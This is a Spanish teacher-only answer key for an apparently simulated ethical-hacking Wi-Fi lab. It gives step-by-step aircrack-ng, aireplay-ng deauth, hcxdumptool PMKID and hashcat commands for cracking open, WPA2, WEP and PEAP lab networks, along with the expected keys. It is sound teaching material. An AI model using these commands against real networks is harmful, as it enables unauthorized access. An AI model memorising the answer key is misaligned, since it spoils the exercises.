Guía del profesor — Laboratorio Wi-Fi (Hacking Ético)

> **DOCUMENTO SOLO PARA EL PROFESOR.** Contiene las claves y la resolución completa de cada escenario. No lo repartas al alumnado: ellos tienen `guia_alumno.md`.

> **Entorno 100 % virtualizado.** Todas las radios son simuladas con `mac80211_hwsim` y aisladas en *network namespaces*. No hay emisión por radio real: las prácticas solo funcionan contra los APs de este laboratorio. **Uso exclusivamente educativo y en el aula.** Atacar redes reales sin autorización expresa por escrito es ilegal (en España, arts. 197 bis y 264 del Código Penal).

---

0. Puesta en marcha

```
sudo ./despliegue.sh
```

El script instala lo que falte (`hostapd`, `hcxtools`, `pocl-opencl-icd`, `ocl-icd-libopencl1`), levanta los 6 escenarios y, al terminar, imprime el **SSID, canal y BSSID real** de cada uno (las claves no se muestran). Los BSSID cambian en cada despliegue. Las interfaces de trabajo del alumno son **`wlan0` … `wlan6`**.

Para desmontarlo todo: `sudo ./limpia.sh`.

Poner una interfaz en modo monitor

```
sudo airmon-ng check kill          # (ya lo hace el script, por si acaso)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

Localizar objetivos y fijar canal

```
# Barrido general: anota BSSID y canal (CH)
sudo airodump-ng wlan0

# Fijar la interfaz al canal del objetivo (ej. canal 11)
sudo iw dev wlan0 set channel 11
```

Soluciones

SSID	Ch	Seguridad	Objetivo didáctico	Solución

SSID	Ch	Seguridad	Objetivo didáctico	Solución
`he_open`	1	Abierta	Sniffing de tráfico en claro (HTTP POST)	`user=admin&pass=SecretPass2026`
`he_wpa2`	6	WPA2-PSK	Captura del handshake 4-way + crackeo	`chocolate`
`he_pmkid`	11	WPA2-PSK	PMKID **con** clientes asociados	`dragonfly`
`he_pmkid_nc`	4	WPA2-PSK	PMKID **sin** clientes (*clientless*)	`marshmallow`
`he_enterprise`	3	WPA2-EAP	EAP-PEAP / captura de reto MSCHAPv2	Identidad `student_user@domain.lab` · tipo EAP 25 (PEAP)
`he_wep`	9	WEP-104	Recolección de IVs + reinyección ARP	`ilovemyfamily` (hex `69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79`)

Las tres claves WPA2 están en `rockyou.txt`. El password interno del cliente Enterprise (`EnterprisePass2026`) **no** es un objetivo de la práctica: el alumno solo debe identificar la identidad en claro y el método EAP.

---

1. `he_open` — Red abierta (tráfico en claro)

Un cliente envía un POST de login en bucle. El objetivo es demostrar que en una red sin cifrado las credenciales viajan legibles.

```
sudo iw dev wlan0 set channel 1
sudo airodump-ng -c 1 --bssid <BSSID_OPEN> -w cap_open wlan0
# En otra terminal, filtrar el POST en la captura:
tshark -r cap_open-01.cap -Y 'http.request.method == "POST"' -T fields -e
http.file_data
```

Resultado esperado: `user=admin&pass=SecretPass2026`.

Aprendizaje: cualquiera en la misma red abierta ve las credenciales.

---

2. `he_wpa2` — Handshake 4-way + crackeo offline

Hay dos clientes asociados.

a) Capturar el handshake

```
sudo iw dev wlan0 set channel 6
sudo airodump-ng -c 6 --bssid <BSSID_WPA2> -w cap_wpa2 wlan0
```

b) Forzar reconexión con un deauth (desde otra terminal)

```
sudo iw dev wlan1 set type monitor && sudo ip link set wlan1 up
sudo iw dev wlan1 set channel 6
sudo aireplay-ng -0 3 -a <BSSID_WPA2> wlan1
```

Cuando airodump muestre `WPA handshake: <BSSID>` arriba a la derecha, ya lo tienes.

c) Crackear

```
# Con aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID_WPA2> cap_wpa2-01.cap

# O con hashcat (modo 22000)
hcxpcapngtool -o hash_wpa2.22000 cap_wpa2-01.cap
hashcat -m 22000 hash_wpa2.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `chocolate`.

---

3. `he_pmkid` — PMKID **con** clientes

Hay una estación asociada generando tráfico. Sirve para contrastar las **dos vías**: capturar el PMKID (campo del M1) o el handshake 4-way tras un deauth.

```
sudo iw dev wlan0 set channel 11

# Opción recomendada: hcxdumptool captura PMKID y handshakes a la vez
sudo hcxdumptool -i wlan0 -w pmkid_cli.pcapng --rds=1
# (Ctrl-C tras unos segundos)

# Extraer el hash 22000 (contiene líneas WPA*01=PMKID y WPA*02=handshake)
hcxpcapngtool -o hash_pmkid.22000 pmkid_cli.pcapng

# Crackear
hashcat -m 22000 hash_pmkid.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `dragonfly`.

---

4. `he_pmkid_nc` — PMKID **sin** clientes (*clientless*)

No hay ninguna estación asociada **a propósito**. Es el caso que demuestra por qué el PMKID es peligroso: el AP incluye el PMKID en el **primer mensaje (M1)** del 4-way durante la asociación, así que **no hace falta ningún cliente**: basta con provocar uno mismo la asociación para que el AP emita ese M1.

```
sudo iw dev wlan0 set channel 4

# hcxdumptool fuerza la asociación contra el AP y recoge el PMKID solo
sudo hcxdumptool -i wlan0 -w pmkid_nc.pcapng --rds=1
# No aparecerá ningún cliente en airodump: el PMKID llega igual.

# Extraer y crackear
hcxpcapngtool -o hash_nc.22000 pmkid_nc.pcapng
hashcat -m 22000 hash_nc.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `marshmallow`.

Comparación (respuesta a la pregunta de la guía del alumno):

	`he_pmkid`	`he_pmkid_nc`
Cliente conectado	Sí	No
¿Hace falta esperar/deauth a un cliente?	Opcional	**No**
Material obtenible	PMKID **y** handshake	Solo PMKID
Lección	Dos vías de ataque	El PMKID no depende de clientes

Fórmula: `PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)`. Como depende de la MAC del atacante y no de la de un cliente legítimo, cualquiera puede obtenerlo asociándose.

---

5. `he_enterprise` — WPA2-EAP (PEAP/MSCHAPv2)

```
sudo iw dev wlan0 set channel 3
sudo airodump-ng -c 3 --bssid <BSSID_ENT> -w cap_ent wlan0
```

Objetivo: observar el intercambio EAP-PEAP y comentar el vector de **Evil Twin / RADIUS falso** (`hostapd-wpe`) para capturar el challenge/response MSCHAPv2 y crackearlo con `asleap`. En este laboratorio basta con identificar la identidad y el tipo de EAP en la captura:

```
tshark -r cap_ent-01.cap -Y eap -T fields -e eap.identity -e eap.type
```

Resultado esperado: identidad `student_user@domain.lab` (viaja en claro en la fase externa) y tipo EAP 25 = PEAP.

---

6. `he_wep` — WEP (IVs + reinyección ARP)

Dos clientes generan ARP broadcast en bucle, ideal para la reinyección.

```
sudo iw dev wlan0 set channel 9

# Capturar IVs
sudo airodump-ng -c 9 --bssid <BSSID_WEP> -w cap_wep wlan0

# Reinyección ARP para acelerar la generación de IVs (otra terminal, wlan1 en
# monitor y en el canal 9)
sudo aireplay-ng -3 -b <BSSID_WEP> wlan1

# Crackear en cuanto haya ~20.000-40.000 IVs
aircrack-ng cap_wep-01.cap
```

Resultado esperado: `KEY FOUND! [ 69:6C:6F:76:65:6D:79:66:61:6D:69:6C:79 ] (ASCII: ilovemyfamily)`.

El ataque PTW de aircrack es estadístico, no de diccionario: la clave se recupera sea cual sea.

Mantenimiento: cambiar las claves

- **WPA2:** las claves se guardan como PMK (64 hex) en `despliegue.sh`, en el `hostapd.conf` y en el `wpa.conf` de cada escenario. La PMK depende del SSID, así que se calcula para cada red:

  ```
  ./calculaPMK.py he_wpa2 <nueva_clave>
  ```

  Usa palabras de `rockyou.txt` de 8 a 63 caracteres.

- **WEP:** `wep_key0` en hex. Solo admite 5 o 13 caracteres ASCII (10 o 26 hex):

  ```
  printf 'ilovemyfamily' | od -An -tx1 | tr -d ' \n'
  ```

Tras cambiar una clave, actualiza la tabla de soluciones de esta guía.

Verificación y apagado

```

```

```
# Ver APs y namespaces activos
ip netns list
sudo ip netns exec ns_ap_pmkid_nc iw dev

# Apagar todo el laboratorio
sudo ./limpia.sh
```

Herramientas usadas

- **aircrack-ng suite** (`airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`)
- **hcxdumptool / hcxpcapngtool** (captura y conversión de PMKID/handshake)
- **hashcat** (modo `22000` = WPA-PBKDF2-PMKID+EAPOL), en CPU mediante PoCL
- **tshark** (análisis de capturas)